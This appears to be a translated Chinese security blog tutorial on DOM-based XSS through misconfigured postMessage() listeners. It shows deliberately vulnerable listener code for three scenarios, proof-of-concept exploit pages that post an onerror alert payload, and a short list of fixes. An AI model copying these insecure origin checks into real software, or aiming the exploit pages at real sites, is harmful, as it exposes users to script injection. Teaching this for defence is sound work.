利用错误配置的postMessage()函数实现DOM型XSS攻击
今天,我们将讨论如何通过错误配置的postMessage函数利用DOM型XSS漏洞。两个站点只有在具有相同协议、主机名和端口时才能相互通信。
如果两个站点不具备上述相似属性,将触发同源策略。
有几种方法可以绕过同源策略,其中之一就是postMessage函数。postMessage方法安全地实现了Window对象之间的跨源通信。postMessage使用两种方法在窗口之间进行交叉通信:
- window.addEventListener
- postMessage()
以下是postMessage()函数配置错误并容易受到DOM型XSS攻击的不同场景。
场景1:无源验证检查
在此场景中,没有源检查/验证,这意味着应用程序将接收来自任何使用postMessage()函数的域的消息。
漏洞代码
<html>
<head>
<title>XSS_ME_</title>
</head>
<script> window.addEventListener('message', function(e) { document.getElementById('s').innerHTML = e.data.s;})
</script>
<form> <h3 id="s">Postmessage XSS</h3> <input type=text> </input> <input type="button" value="Click">
</form>
</div>
</body>
</html>
从代码片段中可以看出,没有实现源验证。
在此场景中,攻击者使用postMessage()函数构建漏洞利用程序,该函数将允许跨源通信,攻击者将能够将XSS有效负载传递到受害者/主应用程序中。
利用代码
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>document.getElementById('btn').onclick = function(e){ window.poc = window.open('http://begbounty.xyz/postmessage1.html'); setTimeout(function(){ window.poc.postMessage({ "s": "<img src =x onerror=alert(1);>", }, '*' ); }, 2000);
}
</script>
</html>
场景2:应用程序使用indexOf()函数进行源验证
在此场景中,应用程序使用indexOf()函数进行源验证。在这种情况下,函数检查白名单域是否包含在源中。使用indexOf()函数进行源验证是不良实践,因为可以通过创建以indexOf()函数中给定字符串开头的子域来绕过此验证。
漏洞代码
<html> <head> <title>XSS_ME_</title> </head> <script> window.addEventListener('message', function(e) { if(e.origin.indexOf("begbounty.xyz") > 0){ document.getElementById('s').innerHTML = e.data.s; } }); </script> <body> <div class="container"><form> <h3 id="s">Postmessage XSS</h3> <input type=text> </input> <input type="button" value="hehe!"> </form> </div> </body>
</html>
如上所述代码所示,应用程序正在使用indexOf()函数进行源验证:
(e.origin.indexOf("begbounty.xyz") > 0)
为了利用此错误配置,我创建了一个子域,将在其中托管漏洞利用代码:
https://begbounty.xyz.x3b.in/index.html
利用代码
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){ window.poc = window.open('http://begbounty.xyz/postmessage2.html');setTimeout(function(){ window.poc.postMessage({ "s": "<img src =x onerror=alert(1);>",},'*' ); },2000);
}
</script>
</html>
场景3:白名单源/域存在反射/存储型XSS漏洞
<html> <head> <title>XSS_ME_</title> </head> <script> window.addEventListener('message', function(e) { if (e.origin == "http://149.28.205.217:8083") { document.getElementById('s').innerHTML = e.data.s; } }); </script> <body> <div class="container"> <form> <h3 id="s">Postmessage XSS</h3> <input type=text> </input> <input type="button" value="hehe!"> </form> </div> </body>
</html>
如上代码片段所示,您会发现addEventListener()正在验证协议、主机名/IP和端口号。这意味着该函数将接收来自http://149.28.205.217:8083
的消息。
如果http://149.28.205.217:8083
存在存储/反射型XSS漏洞怎么办?
由于它存在反射型XSS漏洞,我们可以利用此漏洞注入postMessage()利用代码。
修复方案
- 在window.addEventListener函数中白名单源
- 在白名单域时使用适当的正则表达式
- 在将域/主机白名单到函数之前,对所有页面执行跨站脚本相关的测试用例
感谢阅读本博客。
特别感谢Paresh Parmar。
如果您对博客文章有任何疑问,请随时在https://twitter.com/armaancrockroax?lang=en上联系我。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码
公众号二维码